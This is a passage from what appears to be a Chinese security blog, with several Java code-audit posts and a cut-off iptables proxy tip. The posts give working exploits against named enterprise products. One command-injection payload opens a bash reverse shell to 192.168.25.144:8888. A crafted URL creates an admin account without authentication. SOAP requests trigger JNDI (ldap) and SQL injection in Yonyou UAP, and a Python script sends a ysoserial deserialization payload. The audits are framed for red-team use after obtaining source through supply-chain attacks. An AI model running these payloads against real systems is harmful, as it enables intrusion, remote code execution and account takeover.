alt="image"></p><p>如果我们想找反序列化漏洞就在跟进时可以直接<code>ctrl+左键（idea）</code>来跟进<code>deserialize</code>方法查看具体实现，或者先查看哪里定义了<code>fvlh</code>，然后再根据接口实现去跟进<code>deserialize</code>方法进行漏洞跟踪即可</p><h1 id="1-进阶"><a href="#1-进阶" class="headerlink" title="1. 进阶"></a>1. <strong>进阶</strong></h1><h2 id="红队快速审计"><a href="#红队快速审计" class="headerlink" title="红队快速审计"></a><strong>红队快速审计</strong></h2><p>在开始之前，需要继续再了解一下过滤器和处理器映射器。说到过滤器，还有一种拦截器，过滤器关注的是web请求，拦截器关注的是方法调用，比如拦截敏感词汇，有关两者的区别可以自行百度。在红队实施工程中，大都喜欢通过供应链攻击来获得目标项目源码以进行下一步针对性打点。在获得的源码中，java类项目除了springboot之外，一般都以war包的形式基于tomcat部署。接下来就说一下再得到源码之后如何快速找到入口并审出漏洞</p><h3 id="过滤器之Web-xml"><a href="#过滤器之Web-xml" class="headerlink" title="过滤器之Web.xml"></a><strong>过滤器之Web.xml</strong></h3><p><code>Web.xml</code>是Java Web项目中的一个配置文件，主要用于配置首页、Filter、Listener、Servlet等。 tomcat在部署启动web应用时，会解析加载<code>$&#123;CATALINA_HOME&#125;/conf</code>目录下所有web应用通用的web.xml，然后解析加载web应用目录中的<code>WEB-INF/web.xml</code> 。<code>conf/web.xml</code>文件中的设定会应用于所有的web应用程序，而web应用程序的<code>WEB-INF/web.xml</code>中的设定只应用于该应用程序本身。</p><h4 id="web-xml加载过程"><a href="#web-xml加载过程" class="headerlink" title="web.xml加载过程"></a><strong>web.xml加载过程</strong></h4><p>1,、启动Web项目时，容器(tomcat)会去读取web.xml文件的<code>&lt;/listener&gt;</code>和<code> &lt;/context-param&gt;</code>两个标签节点；</p><p>2、容器创建一个<code>ServletContext</code>(上下文环境)；</p><p>3、容器以的<code>name作为键</code>，<code>value作为值</code>，将其转化为键值对，存入<code>ServletContext</code>。</p><p>4、容器创建<code>&lt;/listener&gt;</code>中的类实例，根据配置的class类路径<code>&lt;listener-class&gt;</code>来创建监听，在监听中会有<code>contextInitialized(ServletContextEvent args)</code>初始化方法，启动Web应用时，系统调用<code>Listener</code>的该方法。</p><p>5、容器初始化<code>&lt;/filter&gt;</code>，web.xml中可以定义多个 filter，<strong>初始化每个filter 时，是按照 filter 配置节出现的顺序来初始化的，当请求资源匹配多个 filter-mapping 时，filter 拦截资源是按照 filter-mapping 配置节出现的顺序来依次调用 doFilter() 方法</strong></p><p>6、容器初始化<code>&lt;/servlet&gt;</code></p><p>有关web.xml标签的解释，可以查看<a href="https://www.jianshu.com/p/7f834dd090fe">https://www.jianshu.com/p/7f834dd090fe</a></p><h3 id="Filter"><a href="#Filter" class="headerlink" title="Filter"></a><strong>Filter</strong></h3><p>过滤器的本质就是一个实现了 Filter 接口的 Java 类，具体表现如下图，针对请求的处理就发生在doFilter方法中。当执行完语句或满足某种条件时就会放行当前请求进入下一个过滤器 <code>chain.doFilter</code></p><p><img src="/images/94/7vn1l2u0Pea2en2giAKDDLd_74zeGZItxHyRWut7Yo0.png" alt="image"></p><p>还有一种是通过实现<code>Servlet</code>接口来响应用户请求，表现如下图，处理请求的实现就在<code>service</code>方法中，其继承的<code>HttpServlet</code>就是<code>Servlet</code>接口的实现类（他还继承了<code>GenericServlet</code>，<code>GenericServlet</code>才是直接实现Servlet的抽象类。每个处理器都有个核心方法，如拦截器就是<code>preHandle</code>、<code>postHandle</code>）</p><p><img src="/images/94/Pc-UmWQtmikf2-1MK-FxMSmIE54K1aH_cEQQF4EfQO4.png" alt="image"></p><h3 id="非注解处理器映射器"><a href="#非注解处理器映射器" class="headerlink" title="非注解处理器映射器"></a><strong>非注解处理器映射器</strong></h3><p>其配置场景感觉跟strust2的差不多，有两种写法</p><p>第一种: BeanNameUrlHandlerMapping</p><p><img src="/images/94/Fs-I02d9nWWaBX221zf4RcI1Bh2zQ8WUMa55muoz-4Q.png" alt="image"></p><p><code>name属性</code>就是请求url，class是负责处理请求的类</p><p>第二种：SimpleUrlHandlerMapping</p><p><img src="/images/94/vXhvQgyvMQjXVHqJQWgBB2iihvtwJLGeMnMc2EfIz3g.png" alt="image"></p><p><code>prop key</code>会根据其标签值去查找对应的<code>bean id</code>，再根据bean标签对应的Handler（即class）处理请求，这里的<code>prop key=&quot;/queryUsers1.action&quot;</code>也是请求url，同一个bean可以有多个url映射</p><h4 id="快速审计"><a href="#快速审计" class="headerlink" title="快速审计"></a><strong>快速审计</strong></h4><h5 id="案例一、"><a href="#案例一、" class="headerlink" title="案例一、"></a><strong>案例一、</strong></h5><p>这里以war项目为例，再得到源码之后解压，直接打开WEB-INF下的Web.xml查看过滤映射配置</p><p><img src="/images/94/ThjAXYuiRJXxdMOvjXxZTYOvH2-R-wM8yH7yyJPg1DQ.png" alt="image"></p><p>在idea里，还要右键lib目录，将依赖导入到项目中</p><p><img src="/images/94/-XmSt1nw0QxboSsIwIKkS46MnQcM029iz1sQxeUyBpU.png" alt="image"></p><p>回到web.xml</p><p><img src="/images/94/5rNw4jcWizPMTQyZvbR38AyiGIcKtUDRoEXBxgNJAsU.png" alt="image"></p><p><code>servlet-name</code>标签标示过滤器名称，每个过滤器处理一个或多个请求。图中名为<code>JsInvokeServlet</code>的过滤器由<code>nc.bs.framework.js.servlet.JsInvokeServlet</code>类实现。该过滤器主要用于处理<code>/jsinvoke/*</code>请求，即<code>&lt;url-pattern&gt;</code>标签</p><p>我们直接<code>ctrl+左键</code>点击<code>JsInvokeServlet</code>进入<code>JsInvokeServlet</code>类查看实现，如果<code>JsInvokeServlet</code>爆红，请确认lib有没有被导入，或者可以双击shift键搜索</p><p><img src="/images/94/9mxjVafaK73tfOEvuKchCix-lq0o1g5cUhSBv-HOUuA.png" alt="image"></p><p>进入到<code>JsInvokeServlet</code>后看其核心方法</p><p><img src="/images/94/b81pYuru6ZvcBJDS7jMj4ahrLABE4bhRCxcud88wFbs.png" alt="image"></p><p>跟进<code>service</code>直到看到有方法的实现，这里他将req、rep对象传进下一个<code>service</code>，继续跟进</p><p><img src="/images/94/PhqfuXx1ua0WphPAI9yzq7KHKeZdIr3rb6b1IWxMFUg.png" alt="image"></p><p>在下一层的<code>service</code>方法中看到对请求的响应处理</p><p><img src="/images/94/mp7GO_j9a5UkEW1sdB1Z9BYmsPcPV2T-tV0NaRj-OAs.png" alt="image"></p><p>这个时候再根据对应的实现跟进就可以查看有无漏洞了。像这种只有一个过滤器，且实现里没有针对<code>/jsinvoke/*</code>请求的登录校验，那么这里就存在一个未授权访问漏洞。验证漏洞时其url组成为<code>项目名+&lt;url-pattern&gt;标签值</code>。默认情况下，只要项目不在tomcat的ROOT目录里，那么项目文件夹名也是url组成的一部分，如图，拼接得到<code>/uapjs/jsinvoke/</code></p><p><img src="/images/94/3F1aWdxrgltQtKgJxzTY7EKvsOLTRG0iTzhPoyPzMFw.png" alt="image"></p><p><img src="/images/94/O33bL1OGiMnKNkJowRYIhPyB5ECi7XdyBzkW4hg6-xw.png" alt="image"></p><h5 id="案例二、"><a href="#案例二、" class="headerlink" title="案例二、"></a><strong>案例二、</strong></h5><p>还是查看<code>WEB-INF/web.xml</code></p><p><code>com.inspur.tsce4.monPhysicalView.Servlet</code>处理<code>/monPhysicalView</code>请求</p><p><img src="/images/94/Nr6Akt0AgJB-fK9SvrCjFlabokVwmDUWbWh5gRlYFqw.png" alt="image"></p><p>在Servlet类中，会将请求交到<code>Management</code>对象处理</p><p><code>WEB-INF/classes/com/inspur/tsce4/monPhysicalView/Servlet.class</code></p><p><img src="/images/94/1LxYoo8MCUt6AV59I-SLr9hgWw89dxP6ZDctVAFdafA.png" alt="image"></p><p><img src="/images/94/Z_kT_CvPcwJpGGTRryt5cJ3l3QMusWy9veFPitCLKdA.png" alt="image"></p><p>在<code>doResponse</code>方法中，获取请求参数<code>op</code>，当参数值是<code>systemShutdown</code>时就会进到<code>systemShutdown</code>方法</p><p><img src="/images/94/TmJrDipkVmGytYrOIchN_uSWeIg2Xen_5XMdbjb0SwA.png" alt="image"></p><p>在<code>systemShutdown</code>方法中，又从请求中获取参数，将参数传到<code>Command</code>的<code>systemShutdown</code>方法</p><p><img src="/images/94/q0kMfVfB5MeM8JXBKVpiNhEzFZHb8iFZSgWcOCz2fAg.png" alt="image"></p><p><code>WEB-INF/classes/com/inspur/tsce4/monPhysicalView/Command.class</code></p><p>继续传到<code>doCommand</code>方法</p><p><img src="/images/94/fQm3dQAyOdmenINeWSkrGhE-W-6R9LPriuUJcq1Hv_8.png" alt="image"></p><p><code>doCommand</code>方法中因为调用了系统shell，所以可以使用管道符进行命令拼接，导致命令执行漏洞产生</p><p><img src="/images/94/zMvusi0Zokp6EK0OmUNXsRoa_g714nxW2EmwDmm2Yw4.png" alt="image"></p><p>示例：</p><p><img src="/images/94/uhUUAAjoYdiN6xquvOQjt-FJEm2eD0nxl2SygfiGFXk.png" alt="image"></p><p><img src="/images/94/brfEbrhkETTnh4b59Gfjl6DGoKDipVRAG3TzY08wrz8.png" alt="image"></p><p>根据案例一介绍，搭配web.xml的映射配置，url为：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">/tsce4/monPhysicalView?op=systemShutdown<br> <br>&#123;<span class="hljs-string">&quot;nodename&quot;</span>:<span class="hljs-string">&quot;a | bash -i &gt;&amp; /dev/tcp/192.168.25.144/8888 0&gt;&amp;1 |&quot;</span>&#125;<br></code></pre></div></td></tr></table></figure><h5 id="案例三、"><a href="#案例三、" class="headerlink" title="案例三、"></a><strong>案例三、</strong></h5><p>还是web.xml</p><p>在web.xml的初始化内容中看到，<code>/sysLogin.do</code>可以不用进行权限校验</p><p><img src="/images/94/3F_CcX9X8lg_dpZmnMLpA6LGF2I_IjeDTm1gHVc9my0.png" alt="image"></p><p>全局搜索<code>sysLogin.do</code>查看器映射配置</p><p><img src="/images/94/UNDvgX4AsGhQ7yDHZByznh5o-U7i8mD1zWX3madrrDA.png" alt="image"></p><p>这就是前面提到的非注解<code>SimpleUrlHandlerMapping</code>方式，按照介绍这里就跟着标签值查找对应的<code>bean id</code>，搜一下<code>sys.Login</code></p><p><img src="/images/94/goUPy5U0VeNIT0ULGMi-9TO7-RivQCvUiH278DCmZPI.png" alt="image"></p><p>跟进其handle查看请求处理实现</p><p><code>WEB-INF/classes/com/founder/newsedit/edit/v2/sys/NewseditSysLoginController.java</code></p><p>在<code>handle</code>方法中会通过判断<code>Super</code>的值来进入相应的方法进行处理</p><p><img src="/images/94/TN763bwqQM2lvUQI6tW4ft14ca-qUT-JuLeNE62n-RM.png" alt="image"></p><p>在<code>putSession</code>方法中，会创建一个管理员权限的账号</p><p><img src="/images/94/2d11Bf3buzFLXGaZdF76mhFJ6wOLCWA2ZhgXeObqips.png" alt="image"></p><p>参数表现为</p><p><code>Super=1&amp;UserName=test&amp;UserCode=1&amp;UserID=11&amp;UserPassword=123456</code></p><p>按照前面说到的项目名+web.xml映射路径</p><p>所以可以通过请求</p><p><code>/newsedit/e5sys/sysLogin.do?Super=1&amp;UserName=test&amp;UserCode=1&amp;UserID=11&amp;UserPassword=123456</code></p><p>添加管理员账号</p><p> </p><h2 id="本章思考-2"><a href="#本章思考-2" class="headerlink" title="本章思考"></a><strong>本章思考</strong></h2><p>看到这里想必已经清楚了其实很多时候查看xml配置文件能有很多意外之喜，在拿到源码之后，可以通过查看映射配置文件以及过滤器配置文件来快速定位入口以便下一步找到漏洞。由于顺序关系，很多时候在<code>web.xml</code>中就可以找到未授权访问漏洞或者权限绕过漏洞。在找到绕过之后就可以查看业务逻辑层有无敏感的操作，如命令执行、文件上传、用户重置、token获取等搭配绕过来利用。</p><p> </p><h1 id="5-参考"><a href="#5-参考" class="headerlink" title="5.参考"></a><strong>5.参考</strong></h1><p>在学完以上思路后，基本就可以去审计漏洞跟进代码了，此处列举常见漏洞场景，以供参考</p><p><img src="/images/94/Ce0FTWUP-cKTZGMOQrx2Li5zBru1fRdE3DDlHZyEtow.png" alt="image"></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>用友的一处jndi及sql注入审计</title>
    <link href="/2022/12/10/96/"/>
    <url>/2022/12/10/96/</url>
    
    <content type="html"><![CDATA[<p>首先查看其中一个模块的映射配置</p><p><img src="/images/96/NLZFvtE9Ujoc0dnLa1QU3-XCqcGP-8xxxRPbQE3h6Qs.png" alt="image"></p><p>经分析，这里所有的映射均可利用，以<code>SoapRequestAction</code>类为例</p><p><img src="/images/96/cm1eEWt-QuN0i9E4NTMsK7qqFLO1aulaqsWd6w_a_6A.png" alt="image"></p><p>首先查看<code>SoapRequestAction</code>的流程，在<code>execuse</code>方法中获取了两个参数，<code>ws</code>、<code>soap</code></p><p><img src="/images/96/AawF3bV5P9fXQEmoON8kTH1m90zDNm3xGxkaCy-3ELE.png" alt="image"></p><p>然后将两个参数传进<code>sendRequest</code>方法，在<code>sendRequest</code>方法中，会根据传进的<code>ws</code>参数去查找对应的soap接口服务</p><p><img src="/images/96/sKVwoJ3HQ8G0Sa6JI2LP478qJYTvGW_yDMYKQcrPBag.png" alt="image"></p><p>传进来的soap参数则作为soap接口参数来进行请求</p><p><img src="/images/96/PLMzZmcIIUOQK7UuVs4nhBqnqBOh3me93IMRVdrMTWE.png" alt="image"></p><p>从上面流程得知这是一个soap服务</p><p>参数表现为：</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">ws=webservice接口&amp;soap=webservice接口参数<br></code></pre></div></td></tr></table></figure><p> </p><p>接下来查找可以利用的webservice接口</p><p>在<code>IMsgCenterWebService.wsdl</code>接口文档中，存在很多个字符串参数<code>dataSource</code>，根据字面意思，假设他存在一个数据源连接功能</p><p><img src="/images/96/tAiRVHjEg0oQDBNIpExi9Dj-hA8VbOHbDEnxgsabQ1A.png" alt="image"></p><p>需要跟进相应方法查看参数是否真的是数据源连接功能，能不能用作jdbc反序列化</p><p>根据接口文档名称，得到接口类<code>nc.itf.msgcenter.IMsgCenterWebService</code>，我们以<code>uploadAttachment</code>方法为例跟进</p><p><img src="/images/96/bZMYlzjEjrcWpJBMVeHjRp_xU0VCU-JjK7G13ZwezjY.png" alt="image"></p><p>图中接口对应的实现类为</p><p><code>MsgCenterWebServiceImpl.class</code></p><p>在该实现类的<code>uploadAttachment</code>方法中又调用<code>IMsgCenterService</code>接口的实现</p><p><img src="/images/96/s93dUFpE0DLEDXR3OtdHp6Zo_LC4sfuufkpfgAXNN6g.png" alt="image"></p><p>查看<code>IMsgCenterService</code>接口</p><p><img src="/images/96/cbPkwzGkrw51gnk-EAtwa3QYlYJzmMtgULP8RHBP5eQ.png" alt="image"></p><p>对应的实现类</p><p><code>MsgCenterServiceImpl.class</code></p><p>在<code>uploadAttachment</code>方法中，会将我们前面注意到的<code>dataSource</code>等参数传进<code>resetInvacationInfoByMsgID</code>方法做处理</p><p><img src="/images/96/0b0Y_n_-vFhaNp1N09A2ZyrIcbZ4VBMbdzKAdSMi8k.png" alt="image"></p><p>跟进<code>resetInvacationInfoByMsgID</code>方法，参数传进来后，首先是做了一个初始化。具体为：将参数<code>dataSource</code>设置为<code>UserDataSource</code>的值，以供后面的流程调用</p><p><img src="/images/96/iQQRXcRBV4zzZwoB6K0_sStnwgmuWw9BGKIUhfmhuyk.png" alt="image"></p><p>另一个传进的参数<code>pk_sourcemsg</code>则是传进<code>retrieveByPK</code>方法做查询</p><p><img src="/images/96/rmsiOnu9xeC9CbFXBOb7E22BUZRXFxXf4cjZh2hVWBE.png" alt="image"></p><p>继续跟进流程</p><p><code>BaseDAO.class</code></p><p>在<code>retrieveByPK</code>方法中，封装了一个<code>manager</code>对象，这里的<code>dataSource</code>是上面说到设置的<code>UserDataSource</code>值，即传进的参数<code>dataSource</code></p><p><img src="/images/96/PZfbEN6Bj0oFpWm6Y82plzIRWZZ1-4gr2rPCXpFZTEg.png" alt="image"></p><p>跟进<code>createPersistenceManager</code>方法</p><p><img src="/images/96/S0kZCjM8rFXg2Xcf1OB_azcEugKCPLxF_RJn-6ggfJ4.png" alt="image"></p><p><code>PersistenceManager.getInstance</code>返回的是他的子类<code>JdbcPersistenceManager</code></p><p><img src="/images/96/QnAj706QqxGvPMg5ppa2QbzMendklnHB4hibqxN2EPM.png" alt="image"></p><p>所以跟进<code>JdbcPersistenceManager</code></p><p><code>JdbcPersistenceManager.class</code></p><p>在<code>JdbcPersistenceManager</code>对象中做了一次初始化，此时的<code>dataSource</code>就是传进的参数<code>dataSource</code></p><p><img src="/images/96/fZGtxVS27BJ3tVtMBOzBwRVpeEYFY78ECeLSH1Ks4bM.png" alt="image"></p><p>接着进入到<code>init</code>方法，在<code>init</code>方法中，又使用<code>JdbcSession</code>对象来处理<code>dataSource</code></p><p><img src="/images/96/tVlT6rDWcPiRtbL7-yJALzOAEesjENlFLvaKtMfGQ-I.png" alt="image"></p><p>查看<code>JdbcSession.class</code></p><p>在构造函数<code>JdbcSession</code>里对<code>dataSource</code>进行连接</p><p><img src="/images/96/Ylqdwfoo5L9geY2f2IPxh2R3RgRsoHirX-EAkNK2tUk.png" alt="image"></p><p>具体看<code>getConnection</code>方法：</p><p><img src="/images/96/rGl0tjDKZLTqV_bx0-LJeHo_0uq7rywyr90j3xJ8P9o.png" alt="image"></p><p>往下就是触发流程了</p><p><code>DataSourceCenter.class</code></p><p>变量<code>name</code>是传进的参数<code>dataSource</code>，在<code>DataSourceCenter.getConnection</code>方法中将参数传递到<code>Context.lookup</code>，到这里就可以确定这是一个jndi注入了，与JDBC反序列化无瓜</p><p><img src="/images/96/eNtZQOivtH7vOFvAY1WCpFrqnqO6i5VQninlDwbdLc.png" alt="image"></p><p><img src="/images/96/sHEqIi5EcxAQMEeWuNxL6Mmrr3w8Qew9bXZJrakwmpQ.png" alt="image"></p><p>验证：</p><p>根据<code>IMsgCenterWebService.wsdl</code>接口文档构造<code>soap</code>参数</p><p> </p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">POST /uapws/soapRequest.ajax HTTP/<span class="hljs-number">1.1</span><br>Host: <br>User-Agent: Mozilla/<span class="hljs-number">5.0</span> (Windows NT <span class="hljs-number">10.0</span>; Win64; x64; rv:<span class="hljs-number">107.0</span>) Gecko/<span class="hljs-number">20100101</span> Firefox/<span class="hljs-number">107.0</span><br>Accept: *<span class="hljs-comment">/*</span><br><span class="hljs-comment">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="hljs-comment">Accept-Encoding: gzip, deflate</span><br><span class="hljs-comment">Content-Type: application/x-www-form-urlencoded</span><br><span class="hljs-comment">X-Requested-With: XMLHttpRequest</span><br><span class="hljs-comment">Content-Length: 783</span><br><span class="hljs-comment">Connection: close</span><br><span class="hljs-comment"> </span><br><span class="hljs-comment">ws=nc.itf.msgcenter.IMsgCenterWebService&amp;soap=&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&lt;env:Envelop xmlns:env=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:sn=&quot;http://msgcenter.itf.nc/IMsgCenterWebService&quot;&gt;</span><br><span class="hljs-comment">  &lt;env:Header/&gt;</span><br><span class="hljs-comment">  &lt;env:Body&gt;</span><br><span class="hljs-comment">    &lt;sn:uploadAttachment&gt;</span><br><span class="hljs-comment">      &lt;dataSource&gt;ldap://0.0.0.0:1389/Test&lt;/dataSource&gt;</span><br><span class="hljs-comment">      &lt;msgtype&gt;?&lt;/msgtype&gt;</span><br><span class="hljs-comment">      &lt;pk_sourcemsg&gt;?&lt;/pk_sourcemsg&gt;</span><br><span class="hljs-comment">      &lt;filename&gt;?&lt;/filename&gt;</span><br><span class="hljs-comment">      &lt;file&gt;?&lt;/file&gt;</span><br><span class="hljs-comment">    &lt;/sn:uploadAttachment&gt;</span><br><span class="hljs-comment">  &lt;/env:Body&gt;</span><br><span class="hljs-comment">&lt;/env:Envelop&gt;</span><br></code></pre></div></td></tr></table></figure><p><img src="/images/96/hZZTEL-MEXvcrcK8WsdIvqqHeuRRwvtwa7jU5WBIziE.png" alt="image"></p><p>最后：</p><p>在审计时一度以为这是一个jdbc反序列化，给人错觉的地方太多了，好在最后验证时成功了，且报错的内容与过程看到的一致</p><p>最后的最后：</p><p>这个接口里还有个紧急注入，不修就倒闭：<code>MsgCenterServiceImpl</code></p><p>参数拼接：</p><p><img src="/images/96/xtFfPKCOQdbMLvByGVQmGGe_OxbF2UvQvV0dyKq_lhQ.png" alt="image"></p><p>这个方法由这里调用</p><p><img src="/images/96/aQ-urOnP5ENn9bVw6TkfOc7ecrPgn7NKvW3FVbNuChw.png" alt="image"></p><p>根据代码可以看到这里参数必须是json格式，只需要<code>pk_sourcemsg</code>参数为空就可以进入else流程，造成注入</p><p>这个方法最终由这里调用</p><p><img src="/images/96/Dhk0Z_1VJvA3OVAAim6zTZL0YzfLJWUOxRKfY8iDoJs.png" alt="image"></p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">POST /uapws/soapRequest.ajax HTTP/<span class="hljs-number">1.1</span><br>Host: <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>:<span class="hljs-number">8023</span><br>Content-Type: application/x-www-form-urlencoded<br>X-Requested-With: XMLHttpRequest<br>Content-Length: <span class="hljs-number">457</span><br>Connection: close<br>ws=nc.itf.msgcenter.IMsgCenterWebService&amp;soap=&lt;?xml version=<span class="hljs-string">&quot;1.0&quot;</span> encoding=<span class="hljs-string">&quot;UTF-8&quot;</span>?&gt;&lt;env:Envelop xmlns:env=<span class="hljs-string">&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;</span> xmlns:sn=<span class="hljs-string">&quot;http://msgcenter.itf.nc/IMsgCenterWebService&quot;</span>&gt;<br>&lt;env:Header/&gt;<br>&lt;env:Body&gt;<br>&lt;sn:doAction&gt;<br>&lt;dataSource&gt;这里需要有数据源地址才能进行下面的注入，嘻嘻&lt;/dataSource&gt;<br>&lt;actionCode&gt;这些参数随便填，我直接?&lt;/actionCode&gt;<br>&lt;pluginType&gt;这些参数随便填，我直接?&lt;/pluginType&gt;<br><span class="hljs-comment">//这里就是注入点，pk_sourcemsg为空就可以注入user的值，继续跟进你们会发现，如果注入参数是order开头，那场景就是 sql = sql + &quot; &quot; + condition; 否则就是 sql = sql + &quot; WHERE &quot; + condition;</span><br>&lt;param&gt;&#123;&quot;pk_sourcemsg&quot;:&quot;&quot;,&quot;user&quot;:&quot;注入点&quot;&#125;&lt;/param&gt;<br>&lt;/sn:doAction&gt;<br>&lt;/env:Body&gt;<br>&lt;/env:Envelop&gt;<br></code></pre></div></td></tr></table></figure><p> </p><p> </p><p> </p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>反序列化随手</title>
    <link href="/2022/12/09/97/"/>
    <url>/2022/12/09/97/</url>
    
    <content type="html"><![CDATA[<figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">SyncServer.class<br></code></pre></div></td></tr></table></figure><p>启动进入service方法</p><p><img src="/images/97/yIa4WaoDnu7JYYPV3txSmmGtpFEtS0Q-zcevcCMCAAY.jpg" alt="image"></p><p>在<code>service</code>方法中，将socket连接信息传进<code>CommunicateHandler</code>对象处理</p><p><img src="/images/97/iRiYatWmnf0QRJHiH0TOGGbx1-z1qxpAJkrkDktJLSw.jpg" alt="image"></p><p>其中<code>serverSocket</code>对象的初始化信息如下：</p><p><img src="/images/97/IymPZGWW943DIefo7_fMVxVM6hfq0TECBHLg8N4TmJw.jpg" alt="image"></p><p><code>getServerPort</code>方法返回的是指定的8821端口</p><p><img src="/images/97/XGekQiSUtP64uhard0XRE0lMMm-krm5J-3j_xirYuAk.jpg" alt="image"></p><p><code>getserverAddr</code>则返回的是本机ip</p><p><img src="/images/97/EGcyKp1eSQgbaXMKv1VS9FZULkjZb9eiw1zAivC1H3E.jpg" alt="image"></p><p>回到对socket的处理，跟进<code>CommunicateHandler</code>类</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">CommunicateHandler.class<br></code></pre></div></td></tr></table></figure><p>将包含有连接信息的socket对象传进<code>handle</code>方法</p><p><img src="/images/97/VdH1F6WFwxyADs2GgbdScouHI6Pqjw67M_uG8Q36Shw.jpg" alt="image"></p><p>在<code>handle</code>方法中，使用<code>ObjectInputStream</code>对象的<code>readObject</code>方法对获取的socket数据流进行了反序列化，由于与socket通信的数据是可控的，导致了漏洞的产生</p><p><img src="/images/97/GFmzsmIsTikhRSnLZEJnoeh5RarrCRudtW1f8umRtIk.jpg" alt="image"></p><p>验证：</p><p>使用python编写一个与目标进行socket通信发送恶意数据的脚本</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-comment">#</span><br>coding: utf - <span class="hljs-number">8</span><br><span class="hljs-keyword">import</span> socket<br>s = socket.socket()<br>host = <span class="hljs-string">&quot;192.168.31.169&quot;</span> //目标ip<br>port = <span class="hljs-number">8821</span><br>s.connect((host, port))<br>ssss = <span class="hljs-built_in">open</span>(<span class="hljs-string">&quot;cc6.ser&quot;</span>, <span class="hljs-string">&#x27;rb&#x27;</span>) //恶意数据，ysoserial CommonsCollections6<br>xc = ssss.read()<br>s.send(xc)<br>s.close()<br></code></pre></div></td></tr></table></figure><p>启动目标</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">java -cp sync.jar SyncServer<br></code></pre></div></td></tr></table></figure><p><img src="/images/97/5Fk7DK14Dsd3ZdwrPMbcuJhueum9q41tu0EgBwdkE60.jpg" alt="image"></p><p>运行脚本，向目标发送恶意数据，目标接收消息后触发</p><p><img src="/images/97/kKQczSljUQCB4IvEbjLqS1myeU5wcDLUoUdho011648.jpg" alt="image"></p><p>能使用的利用链：</p><p><img src="/images/97/0nuk5MpFHsreHUKq9WhDgO9CFoU_mAL2o2rpmP7Y2Yw.jpg" alt="image"></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>iptables开启透明代理绕过APP代理检测</title>
    <link href="/2022/10/18/93/"/>
    <url>/2022/10/18/93/</url>
    
    <content type="html"><![CDATA[<p>有时候前端弹提示的检测，透明比较好用</p><p>开启透明代理命令</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">iptables -t nat -A OUTPUT -p tcp -m owner --uid-owner 进程所有者 -j DNAT --to-destination 代理ip:端口<br></code></pre></div></td></tr></table></figure><p>其中进程所有者需要查看启动应用的uid<br>在adb shell里执行</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">ps -ef | grep 包名<br><br></code></pre></div></td></tr></table></figure><p><img src="/images/93/1.png"></p><p>然后执行开头的命令就可以开启透明代理<br><img src="/images/93/2.png"></p><p>burp还需如下配置<br><img src="/images/93/3.png"><br>此时不用在手机设置代理就可以抓包了</p><p>删除代理</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code 